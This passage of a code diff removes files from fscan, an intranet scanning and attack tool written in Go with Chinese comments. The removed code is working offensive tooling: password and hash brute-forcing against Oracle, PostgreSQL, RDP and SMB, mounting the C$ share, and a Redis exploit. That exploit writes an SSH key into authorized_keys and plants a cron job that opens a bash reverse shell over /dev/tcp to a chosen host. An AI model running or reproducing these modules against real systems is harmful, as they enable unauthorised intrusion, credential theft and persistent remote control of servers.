} else if info.DomainControllers != "" {
output = fmt.Sprintf("[+] DC:%-24s", text)
} else {
output = fmt.Sprintf("%-30s", text)
}
if info.OsVersion != "" {
output += " " + info.OsVersion
}
return
}
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 {
err = errNetBIOS
return
}
data := input[57:]
var num int
num, err = bytetoint(input[56:57][0])
if err != nil {
return
}
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
if len(msg) == 0 {
err = errNetBIOS
return
}
err = yaml.Unmarshal([]byte(msg), &netbios)
if netbios.DomainName != "" {
netbios.GroupName = netbios.DomainName
}
return
}
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 {
err = errNetBIOS
return
}
var num1, num2 int
num1, err = bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err = bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
ostext := string(tmp1[:len(tmp1)-1])
ss := strings.Split(ostext, "|")
netbios.OsVersion = ss[0]
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
_, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
var msg string
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
continue
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
continue
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 不需要输出
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
}
}
err = yaml.Unmarshal([]byte(msg), &netbios)
return
}
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
netbios1.ComputerName = netbios2.ComputerName
netbios1.NetDomainName = netbios2.NetDomainName
netbios1.NetComputerName = netbios2.NetComputerName
if netbios2.DomainName != "" {
netbios1.DomainName = netbios2.DomainName
}
netbios1.OsVersion = netbios2.OsVersion
return netbios1
}
-79
View File
@@ -1,79 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
// OracleScan 执行Oracle服务扫描
func OracleScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// OracleConn 尝试Oracle连接
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
username, password, host, port)
// 建立数据库连接
db, err := sql.Open("oracle", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
-79
View File
@@ -1,79 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := PostgresConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// PostgresConn 尝试PostgreSQL连接
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
username, password, host, port,
)
// 建立数据库连接
db, err := sql.Open("postgres", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
-243
View File
@@ -1,243 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
)
// Brutelist 表示暴力破解的用户名密码组合
type Brutelist struct {
user string
pass string
}
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
var (
wg sync.WaitGroup
signal bool
num = 0
all = len(Common.Userdict["rdp"]) * len(Common.Passwords)
mutex sync.Mutex
)
// 创建任务通道
brlist := make(chan Brutelist)
port, _ := strconv.Atoi(info.Ports)
// 启动工作协程
for i := 0; i < Common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout)
}
// 分发扫描任务
for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
close(brlist)
// 等待所有任务完成
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
// worker RDP扫描工作协程
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist,
signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag && err == nil {
// 连接成功
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
}
Common.LogSuccess(result)
*signal = true
return
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
Common.LogError(errlog)
}
}
// incrNum 线程安全地增加计数器
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num++
mutex.Unlock()
}
// RdpConn 尝试RDP连接
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
// 创建RDP客户端
client := NewClient(target, glog.NONE)
if err := client.Login(domain, user, password, timeout); err != nil {
return false, err
}
return true, nil
}
// Client RDP客户端结构
type Client struct {
Host string // 服务地址(ip:port)
tpkt *tpkt.TPKT // TPKT协议层
x224 *x224.X224 // X224协议层
mcs *t125.MCSClient // MCS协议层
sec *sec.Client // 安全层
pdu *pdu.Client // PDU协议层
vnc *rfb.RFB // VNC协议(可选)
}
// NewClient 创建新的RDP客户端
func NewClient(host string, logLevel glog.LEVEL) *Client {
// 配置日志
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
// Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[连接错误] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
// 初始化协议栈
g.initProtocolStack(conn, domain, user, pwd)
// 建立X224连接
if err = g.x224.Connect(); err != nil {
return fmt.Errorf("[X224连接错误] %v", err)
}
glog.Info("等待连接建立...")
// 等待连接完成
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
// 设置事件处理器
g.setupEventHandlers(wg, &breakFlag, &err)
wg.Wait()
return err
}
// initProtocolStack 初始化RDP协议栈
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
// 创建协议层实例
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
// 设置认证信息
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
// 配置协议层关联
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
}
// setupEventHandlers 设置PDU事件处理器
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
// 错误处理
g.pdu.On("error", func(e error) {
*err = e
glog.Error("错误:", e)
g.pdu.Emit("done")
})
// 连接关闭
g.pdu.On("close", func() {
*err = errors.New("连接关闭")
glog.Info("连接已关闭")
g.pdu.Emit("done")
})
// 连接成功
g.pdu.On("success", func() {
*err = nil
glog.Info("连接成功")
g.pdu.Emit("done")
})
// 连接就绪
g.pdu.On("ready", func() {
glog.Info("连接就绪")
g.pdu.Emit("done")
})
// 屏幕更新
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("屏幕更新:", rectangles)
})
// 完成处理
g.pdu.On("done", func() {
if !*breakFlag {
*breakFlag = true
wg.Done()
}
})
}
-513
View File
@@ -1,513 +0,0 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"os"
"strings"
"time"
)
var (
dbfilename string // Redis数据库文件名
dir string // Redis数据库目录
)
// RedisScan 执行Redis服务扫描
func RedisScan(info *Common.HostInfo) (tmperr error) {
fmt.Println("[+] Redis扫描模块开始...")
starttime := time.Now().Unix()
// 尝试无密码连接
flag, err := RedisUnauth(info)
if flag && err == nil {
return err
}
if Common.IsBrute {
return
}
// 尝试密码暴力破解
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) {
return err
}
}
fmt.Println("[+] Redis扫描模块结束...")
return tmperr
}
// RedisConn 尝试Redis连接
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, err
}
defer conn.Close()
// 设置超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return false, err
}
// 发送认证命令
if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
return false, err
}
// 认证成功
if strings.Contains(reply, "+OK") {
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
Common.LogSuccess(result)
return true, err
}
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
// 尝试利用
err = Expoilt(realhost, conn)
return true, err
}
return false, err
}
// RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
return flag, err
}
defer conn.Close()
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
return flag, err
}
// 发送info命令测试未授权访问
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
return flag, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
return flag, err
}
// 判断是否存在未授权访问
if strings.Contains(reply, "redis_version") {
flag = true
// 获取Redis配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
return flag, err
}
// 输出详细信息
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
// 尝试漏洞利用
err = Expoilt(realhost, conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
}
}
return flag, err
}
// Expoilt 尝试Redis漏洞利用
func Expoilt(realhost string, conn net.Conn) error {
// 如果配置为不进行测试则直接返回
if Common.Noredistest {
return nil
}
// 测试目录写入权限
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
return err
}
// SSH密钥写入测试
if flagSsh {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
// 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" {
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
}
}
}
// 定时任务写入测试
if flagCron {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
// 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" {
writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
}
}
}
// 恢复数据库配置
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
}
return err
}
// writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
// 设置文件目录为SSH目录
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 设置文件名为authorized_keys
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 读取并写入SSH密钥
if strings.Contains(text, "OK") {
// 读取密钥文件
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
return flag, text, err
}
// 写入密钥
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
// writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
// 首先尝试Ubuntu系统的cron路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") {
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
}
// 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") {
// 设置数据库文件名为root
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "[-] 主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
// 写入反弹shell的定时任务
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort)
_, err = conn.Write([]byte(cronCmd))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
// Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
// readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) {
// 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
// 如果读取到内容则不返回错误
if len(bytes) > 0 {
err = nil
}
return string(bytes), err
}
// testwrite 测试Redis写入权限
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
// 测试SSH目录写入权限
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, flagCron, err
}
text, err := readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
// 测试定时任务目录写入权限
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
// getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
// 获取数据库文件名
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
// 解析数据库文件名
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
// 获取数据库目录
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
// 解析数据库目录
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
// recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
// 恢复数据库文件名
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
_, err = readreply(conn)
if err != nil {
return
}
// 恢复数据库目录
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
_, err = readreply(conn)
if err != nil {
return
}
return
}
-110
View File
@@ -1,110 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
// SmbScan 执行SMB服务的认证扫描
func SmbScan(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
return nil
}
startTime := time.Now().Unix()
// 遍历用户名和密码字典进行认证尝试
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
// 执行带超时的认证
success, err := doWithTimeOut(info, user, pass)
if success && err == nil {
// 认证成功,记录结果
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
info.Host, info.Ports, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass)
}
Common.LogSuccess(result)
return err
} else {
// 认证失败,记录错误
errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass,
strings.ReplaceAll(err.Error(), "\n", ""))
Common.LogError(errorMsg)
tmperr = err
// 检查是否需要中断扫描
if Common.CheckErrs(err) {
return err
}
// 检查是否超时
timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout
if time.Now().Unix()-startTime > timeoutLimit {
return err
}
}
}
}
return tmperr
}
// SmblConn 尝试建立SMB连接并进行认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
// 配置SMB连接选项
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: Common.Domain,
Workstation: "",
}
// 尝试建立SMB会话
session, err := smb.NewSession(options, false)
if err == nil {
defer session.Close()
if session.IsAuthenticated {
flag = true
}
}
// 发送完成信号
signal <- struct{}{}
return flag, err
}
// doWithTimeOut 执行带超时的SMB连接认证
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
// 在goroutine中执行SMB连接
go func() {
flag, err = SmblConn(info, user, pass, signal)
}()
// 等待连接结果或超时
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
return false, errors.New("[!] SMB连接超时")
}
}
-224
View File
@@ -1,224 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
return nil
}
hasprint := false
startTime := time.Now().Unix()
// 使用哈希认证模式
if len(Common.HashBytes) > 0 {
return smbHashScan(info, hasprint, startTime)
}
// 使用密码认证模式
return smbPasswordScan(info, hasprint, startTime)
}
// smbHashScan 使用哈希进行认证扫描
func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, "", hash)
return err
}
logFailedAuth(info, user, "", hash, err)
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) {
return err
}
if len(Common.Hash) > 0 {
break
}
}
}
return nil
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, pass, []byte{})
return err
}
logFailedAuth(info, user, pass, []byte{}, err)
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) {
return err
}
if len(Common.Hash) > 0 {
break
}
}
}
fmt.Println("[+] Smb2扫描模块结束...")
return nil
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ",
info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v", Common.Hash)
} else {
result += fmt.Sprintf("Pass:%v", pass)
}
Common.LogSuccess(result)
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
info.Host, info.Ports, user, Common.Hash, err)
} else {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog)
}
// shouldStopScan 检查是否应该停止扫描
func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
if Common.CheckErrs(err) {
return true
}
if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) {
return true
}
return false
}
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), false
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
d := &smb2.Dialer{
Initiator: &initiator,
}
session, err := d.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
}
defer session.Logoff()
// 获取共享列表
shares, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), false
}
// 打印共享信息(如果未打印过)
if !hasprint {
logShareInfo(info, user, pass, hash, shares)
flag2 = true
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
}
defer fs.Umount()
// 尝试读取系统文件以验证权限
